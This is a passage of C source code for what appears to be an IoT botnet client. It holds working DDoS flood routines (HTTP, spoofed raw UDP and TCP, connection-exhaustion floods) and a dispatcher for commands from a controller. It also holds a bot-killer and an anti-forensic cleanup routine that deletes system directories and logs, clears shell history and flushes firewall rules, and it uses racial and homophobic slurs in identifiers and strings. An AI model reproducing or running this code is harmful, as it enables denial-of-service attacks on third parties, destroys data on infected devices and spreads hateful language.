  1791. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  1792. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  1793. char hacker[80];
  1794. char botkill[80];
  1795. char buf[128];
  1796. int i, num_tmps, j;
  1797. for(j = 0; j < num_tmps; j++)
  1798. {
  1799. memset(buf, 0, 128);
  1800. if(j == 0)
  1801. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  1802. else
  1803. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  1804. system(buf);
  1805. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  1806. system(botkill);
  1807. return;
  1808. }
  1809. sleep(5);
  1810. }
  1811. //Cleaning Device
  1812. void RemoveTMP() {
  1813. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  1814. system("rm -rf /var/log/wtmp");
  1815. system("history -c;history -w");
  1816. system("rm -rf /var/log/wtmp");
  1817. system("rm -rf /tmp/*");
  1818. system("history -c");
  1819. system("rm -rf ~/.bash_history");
  1820. system("rm -rf /bin/netstat");
  1821. system("history -w");
  1822. system("pkill -9 busybox");
  1823. system("pkill -9 perl");
  1824. system("service iptables stop");
  1825. system("/sbin/iptables -F;/sbin/iptables -X");
  1826. }
  1827. int socket_connect(char *host, in_port_t port) {
  1828. struct hostent *hp;
  1829. struct sockaddr_in addr;
  1830. int on = 1, sock;
  1831. if ((hp = gethostbyname(host)) == NULL) return 0;
  1832. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1833. addr.sin_port = htons(port);
  1834. addr.sin_family = AF_INET;
  1835. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1836. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1837. if (sock == -1) return 0;
  1838. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1839. return 0;
  1840. return sock;
  1841. }
  1842. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1843. const char *useragents[] = {
  1844. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1845. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1846. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1847. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1848. "Opera/6.04 (Windows XP; U) [en]",
  1849. "Opera/9.99 (X11; U; sk)",
  1850. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1851. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1852. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1853. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1854. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1855. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1856. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1857. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1858. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1859. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1860. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1861. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1862. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1863. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1864. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1865. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1866. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1867. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1868. "wii libnup/1.0",
  1869. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1870. "PSP (PlayStation Portable); 2.00",
  1871. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1872. "Doris/1.15 [en] (Symbian)",
  1873. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1874. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1875. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1876. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1877. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1878. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1879. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1880. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1881. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1882. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1883. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1884. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1885. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1886. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1887. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1888. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1889. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1890. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1891. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1892. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1893. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1894. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1895. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1896. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1897. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1898. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1899. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1900. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1901. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1902. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1903. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1904. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1905. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1906. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1907. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1908. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1909. };
  1910. const char *connections[] = {"close", "keep-alive", "accept"};
  1911. int i, timeEnd = time(NULL) + timeFoo;
  1912. char request[512];
  1913. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1914. for (i = 0; i < power; i++) {
  1915. if (fork()) {
  1916. while (timeEnd > time(NULL)) {
  1917. int socket = socket_connect((char *)host, port);
  1918. if (socket != 0) {
  1919. write(socket, request, strlen(request));
  1920. close(socket);
  1921. }
  1922. }
  1923. _exit(1);
  1924. }
  1925. }
  1926. }
  1927. void sendSTD(unsigned char *ip, int port, int secs) {
  1928. int iSTD_Sock;
  1929. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1930. time_t start = time(NULL);
  1931. struct sockaddr_in sin;
  1932. struct hostent *hp;
  1933. hp = gethostbyname(ip);
  1934. bzero((char*) &sin,sizeof(sin));
  1935. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1936. sin.sin_family = hp->h_addrtype;
  1937. sin.sin_port = port;
  1938. unsigned int a = 0;
  1939. while(1){
  1940. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  1941. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1942. if (a >= 50)
  1943. {
  1944. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1945. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1946. if (time(NULL) >= start + secs)
  1947. {
  1948. close(iSTD_Sock);
  1949. _exit(0);
  1950. }
  1951. a = 0;
  1952. }
  1953. a++;
  1954. }
  1955. }
  1956. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1957. {
  1958. struct sockaddr_in dest_addr;
  1959. dest_addr.sin_family = AF_INET;
  1960. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1961. else dest_addr.sin_port = htons(port);
  1962. if(getHost(target, &dest_addr.sin_addr)) return;
  1963. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1964. register unsigned int pollRegister;
  1965. pollRegister = pollinterval;
  1966. if(spoofit == 32)
  1967. {
  1968. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1969. if(!sockfd)
  1970. {
  1971. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1972. return;
  1973. }
  1974. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1975. if(buf == NULL) return;
  1976. memset(buf, 0, packetsize + 1);
  1977. makeRandomStr(buf, packetsize);
  1978. int end = time(NULL) + timeEnd;
  1979. register unsigned int i = 0;
  1980. while(1)
  1981. {
  1982. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1983. if(i == pollRegister)
  1984. {
  1985. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1986. if(time(NULL) > end) break;
  1987. i = 0;
  1988. continue;
  1989. }
  1990. i++;
  1991. }
  1992. } else {
  1993. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1994. if(!sockfd)
  1995. {
  1996. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1997. return;
  1998. }
  1999. int tmp = 1;
  2000. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2001. {
  2002. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2003. return;
  2004. }
  2005. int counter = 50;
  2006. while(counter--)
  2007. {
  2008. srand(time(NULL) ^ rand_cmwc());
  2009. init_rand(rand());
  2010. }
  2011. in_addr_t netmask;
  2012. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2013. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2014. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2015. struct iphdr *iph = (struct iphdr *)packet;
  2016. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2017. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2018. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2019. udph->source = rand_cmwc();
  2020. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2021. udph->check = 0;
  2022. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2023. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2024. int end = time(NULL) + timeEnd;
  2025. register unsigned int i = 0;
  2026. while(1)
  2027. {
  2028. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2029. udph->source = rand_cmwc();
  2030. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2031. iph->id = rand_cmwc();
  2032. iph->saddr = htonl( HackerScan2(netmask) );
  2033. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2034. if(i == pollRegister)
  2035. {
  2036. if(time(NULL) > end) break;
  2037. i = 0;
  2038. continue;
  2039. }
  2040. i++;
  2041. }
  2042. }
  2043. }
  2044. void sendCNC(unsigned char *ip,int port, int end_time)
  2045. {
  2046. int end = time(NULL) + end_time;
  2047. int sockfd;
  2048. struct sockaddr_in server;
  2049. server.sin_addr.s_addr = inet_addr(ip);
  2050. server.sin_family = AF_INET;
  2051. server.sin_port = htons(port);
  2052. while(end > time(NULL))
  2053. {
  2054. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2055. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2056. sleep(1);
  2057. close(sockfd);
  2058. }
  2059. }
  2060. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2061. {
  2062. register unsigned int pollRegister;
  2063. pollRegister = pollinterval;
  2064. struct sockaddr_in dest_addr;
  2065. dest_addr.sin_family = AF_INET;
  2066. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2067. else dest_addr.sin_port = htons(port);
  2068. if(getHost(target, &dest_addr.sin_addr)) return;
  2069. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2070. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2071. if(!sockfd)
  2072. {
  2073. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2074. return;
  2075. }
  2076. int tmp = 1;
  2077. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2078. {
  2079. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2080. return;
  2081. }
  2082. in_addr_t netmask;
  2083. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2084. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2085. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2086. struct iphdr *iph = (struct iphdr *)packet;
  2087. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2088. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2089. tcph->source = rand_cmwc();
  2090. tcph->seq = rand_cmwc();
  2091. tcph->ack_seq = 0;
  2092. tcph->doff = 5;
  2093. if(!strcmp(flags, "all"))
  2094. {
  2095. tcph->syn = 1;
  2096. tcph->rst = 1;
  2097. tcph->fin = 1;
  2098. tcph->ack = 1;
  2099. tcph->psh = 1;
  2100. } else {
  2101. unsigned char *pch = strtok(flags, ",");
  2102. while(pch)
  2103. {
  2104. if(!strcmp(pch, "syn"))
  2105. {
  2106. tcph->syn = 1;
  2107. } else if(!strcmp(pch, "rst"))
  2108. {
  2109. tcph->rst = 1;
  2110. } else if(!strcmp(pch, "fin"))
  2111. {
  2112. tcph->fin = 1;
  2113. } else if(!strcmp(pch, "ack"))
  2114. {
  2115. tcph->ack = 1;
  2116. } else if(!strcmp(pch, "psh"))
  2117. {
  2118. tcph->psh = 1;
  2119. } else {
  2120. HackerPrint(D1ckSucka, "Invalid flag \"%s\"", pch);
  2121. }
  2122. pch = strtok(NULL, ",");
  2123. }
  2124. }
  2125. tcph->window = rand_cmwc();
  2126. tcph->check = 0;
  2127. tcph->urg_ptr = 0;
  2128. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2129. tcph->check = tcpcsum(iph, tcph);
  2130. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2131. int end = time(NULL) + timeEnd;
  2132. register unsigned int i = 0;
  2133. while(1)
  2134. {
  2135. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2136. iph->saddr = htonl( HackerScan2(netmask) );
  2137. iph->id = rand_cmwc();
  2138. tcph->seq = rand_cmwc();
  2139. tcph->source = rand_cmwc();
  2140. tcph->check = 0;
  2141. tcph->check = tcpcsum(iph, tcph);
  2142. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2143. if(i == pollRegister)
  2144. {
  2145. if(time(NULL) > end) break;
  2146. i = 0;
  2147. continue;
  2148. }
  2149. i++;
  2150. }
  2151. }
  2152. void sendJUNK(unsigned char *ip, int port, int end_time)
  2153. {
  2154. int max = getdtablesize() / 2, i;
  2155. struct sockaddr_in dest_addr;
  2156. dest_addr.sin_family = AF_INET;
  2157. dest_addr.sin_port = htons(port);
  2158. if(getHost(ip, &dest_addr.sin_addr)) return;
  2159. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2160. struct state_t
  2161. {
  2162. int fd;
  2163. uint8_t state;
  2164. } fds[max];
  2165. memset(fds, 0, max * (sizeof(int) + 1));
  2166. fd_set myset;
  2167. struct timeval tv;
  2168. socklen_t lon;
  2169. int valopt, res;
  2170. unsigned char *watwat = malloc(1024);
  2171. memset(watwat, 0, 1024);
  2172. int end = time(NULL) + end_time;
  2173. while(end > time(NULL))
  2174. {
  2175. for(i = 0; i < max; i++)
  2176. {
  2177. switch(fds[i].state)
  2178. {
  2179. case 0:
  2180. {
  2181. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2182. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2183. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2184. else fds[i].state = 1;
  2185. }
  2186. break;
  2187. case 1:
  2188. {
  2189. FD_ZERO(&myset);
  2190. FD_SET(fds[i].fd, &myset);
  2191. tv.tv_sec = 0;
  2192. tv.tv_usec = 10000;
  2193. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2194. if(res == 1)
  2195. {
  2196. lon = sizeof(int);
  2197. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2198. if(valopt)
  2199. {
  2200. close(fds[i].fd);
  2201. fds[i].state = 0;
  2202. } else {
  2203. fds[i].state = 2;
  2204. }
  2205. } else if(res == -1)
  2206. {
  2207. close(fds[i].fd);
  2208. fds[i].state = 0;
  2209. }
  2210. }
  2211. break;
  2212. case 2:
  2213. {
  2214. makeRandomStr(watwat, 1024);
  2215. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2216. {
  2217. close(fds[i].fd);
  2218. fds[i].state = 0;
  2219. }
  2220. }
  2221. break;
  2222. }
  2223. }
  2224. }
  2225. }
  2226. void sendHOLD(unsigned char *ip, int port, int end_time)
  2227. {
  2228. int max = getdtablesize() / 2, i;
  2229. struct sockaddr_in dest_addr;
  2230. dest_addr.sin_family = AF_INET;
  2231. dest_addr.sin_port = htons(port);
  2232. if(getHost(ip, &dest_addr.sin_addr)) return;
  2233. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2234. struct state_t
  2235. {
  2236. int fd;
  2237. uint8_t state;
  2238. } fds[max];
  2239. memset(fds, 0, max * (sizeof(int) + 1));
  2240. fd_set myset;
  2241. struct timeval tv;
  2242. socklen_t lon;
  2243. int valopt, res;
  2244. unsigned char *watwat = malloc(1024);
  2245. memset(watwat, 0, 1024);
  2246. int end = time(NULL) + end_time;
  2247. while(end > time(NULL))
  2248. {
  2249. for(i = 0; i < max; i++)
  2250. {
  2251. switch(fds[i].state)
  2252. {
  2253. case 0:
  2254. {
  2255. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2256. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2257. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2258. else fds[i].state = 1;
  2259. }
  2260. break;
  2261. case 1:
  2262. {
  2263. FD_ZERO(&myset);
  2264. FD_SET(fds[i].fd, &myset);
  2265. tv.tv_sec = 0;
  2266. tv.tv_usec = 10000;
  2267. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2268. if(res == 1)
  2269. {
  2270. lon = sizeof(int);
  2271. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2272. if(valopt)
  2273. {
  2274. close(fds[i].fd);
  2275. fds[i].state = 0;
  2276. } else {
  2277. fds[i].state = 2;
  2278. }
  2279. } else if(res == -1)
  2280. {
  2281. close(fds[i].fd);
  2282. fds[i].state = 0;
  2283. }
  2284. }
  2285. break;
  2286. case 2:
  2287. {
  2288. FD_ZERO(&myset);
  2289. FD_SET(fds[i].fd, &myset);
  2290. tv.tv_sec = 0;
  2291. tv.tv_usec = 10000;
  2292. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2293. if(res != 0)
  2294. {
  2295. close(fds[i].fd);
  2296. fds[i].state = 0;
  2297. }
  2298. }
  2299. break;
  2300. }
  2301. }
  2302. }
  2303. }
  2304. void processCmd(int argc, unsigned char *argv[])
  2305. {
  2306. int x;
  2307. if(!strcmp(argv[0], "PING"))
  2308. {
  2309. HackerPrint(D1ckSucka, "PONG!");
  2310. return;
  2311. }
  2312. if(!strcmp(argv[0], "GETLOCALIP"))
  2313. {
  2314. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2315. return;
  2316. }
  2317. if(!strcmp(argv[0], "BOTKILL"))
  2318. {
  2319. if(!listFork())
  2320. {
  2321. HackerPrint(D1ckSucka, "Killing Bots");
  2322. botkiller();
  2323. RemoveTMP();
  2324. _exit(0);
  2325. }
  2326. }
  2327. if(!strcmp(argv[0], "LOOPME"))
  2328. {
  2329. if(!listFork())
  2330. {
  2331. HackerPrint(D1ckSucka, "LOOPING PAYLOAD");
  2332. LoopPayload();
  2333. _exit(0);
  2334. }
  2335. }
  2336. if(!strcmp(argv[0], "TELNET"))
  2337. {
  2338. if(argc != 2)
  2339. {
  2340. HackerPrint(D1ckSucka, "TELNET ON | OFF");
  2341. return;
  2342. }
  2343. if(!strcmp(argv[1], "OFF"))
  2344. {
  2345. if(scanPid == 0) return;
  2346. kill(scanPid, 9);
  2347. HackerPrint(D1ckSucka, " OFF");
  2348. scanPid = 0;
  2349. }
  2350. if(!strcmp(argv[1], "ON"))
  2351. {
  2352. if(scanPid != 0) return;
  2353. uint32_t parent;
  2354. parent = fork();
  2355. if (parent > 0) { scanPid = parent; return;}
  2356. else if(parent == -1) return;
  2357. StartTheLelz();
  2358. _exit(0);
  2359. }
  2360. }
  2361.  
  2362. if(!strcmp(argv[0], "NETIS"))
  2363. {
  2364. if(argc != 2)
  2365. {
  2366. return;
  2367. }
  2368. if(!strcmp(argv[1], "ON"))
  2369. {
  2370. HackerPrint(D1ckSucka, "[NETIS] SCANNER Starting");
  2371. StartTheNetis();
  2372. _exit(0);
  2373. }
  2374. }
  2375.  
  2376. if(!strcmp(argv[0], "HOLD"))
  2377. {
  2378. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2379. {
  2380. return;
  2381. }
  2382. unsigned char *ip = argv[1];
  2383. int port = atoi(argv[2]);
  2384. int time = atoi(argv[3]);
  2385. if(strstr(ip, ",") != NULL)
  2386. {
  2387. unsigned char *hi = strtok(ip, ",");
  2388. while(hi != NULL)
  2389. {
  2390. if(!listFork())
  2391. {
  2392. sendHOLD(hi, port, time);
  2393. _exit(0);
  2394. }
  2395. hi = strtok(NULL, ",");
  2396. }
  2397. } else {
  2398. if (listFork()) { return; }
  2399. sendHOLD(ip, port, time);
  2400. _exit(0);
  2401. }
  2402. }
  2403. if(!strcmp(argv[0], "JUNK"))
  2404. {
  2405. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2406. {
  2407. return;
  2408. }
  2409. unsigned char *ip = argv[1];
  2410. int port = atoi(argv[2]);
  2411. int time = atoi(argv[3]);
  2412. if(strstr(ip, ",") != NULL)
  2413. {
  2414. unsigned char *hi = strtok(ip, ",");
  2415. while(hi != NULL)
  2416. {
  2417. if(!listFork())
  2418. {
  2419. sendJUNK(hi, port, time);
  2420. close(D1ckSucka);
  2421. _exit(0);
  2422. }
  2423. hi = strtok(NULL, ",");
  2424. }
  2425. } else {
  2426. if (listFork()) { return; }
  2427. sendJUNK(ip, port, time);
  2428. _exit(0);
  2429. }
  2430. }
  2431. if(!strcmp(argv[0], "UDP"))
  2432. {
  2433. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2434. {
  2435. return;
  2436. }
  2437. unsigned char *ip = argv[1];
  2438. int port = atoi(argv[2]);
  2439. int time = atoi(argv[3]);
  2440. int spoofed = atoi(argv[4]);
  2441. int packetsize = atoi(argv[5]);
  2442. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2443. if(strstr(ip, ",") != NULL)
  2444. {
  2445. unsigned char *hi = strtok(ip, ",");
  2446. while(hi != NULL)
  2447. {
  2448. if(!listFork())
  2449. {
  2450. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2451. _exit(0);
  2452. }
  2453. hi = strtok(NULL, ",");
  2454. }
  2455. } else {
  2456. if (listFork()) { return; }
  2457. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2458. _exit(0);
  2459. }
  2460. }
  2461. if (!strcmp((const char *)argv[0], "HTTP")) {
  2462. if (argc < 6)
  2463. {
  2464. return;
  2465. }
  2466. if (strstr((const char *)argv[1], ",") != NULL) {
  2467. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2468. while (hi != NULL) {
  2469. if (!listFork()) {
  2470. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2471. _exit(0);
  2472. }
  2473. hi = (unsigned char *)strtok(NULL, ",");
  2474. }
  2475. } else {
  2476. if (listFork()) {
  2477. return;
  2478. }
  2479. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2480. _exit(0);
  2481. }
  2482. }
  2483. if(!strcmp(argv[0], "CNC"))
  2484. {
  2485. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2486. {
  2487. return;
  2488. }
  2489. unsigned char *ip = argv[1];
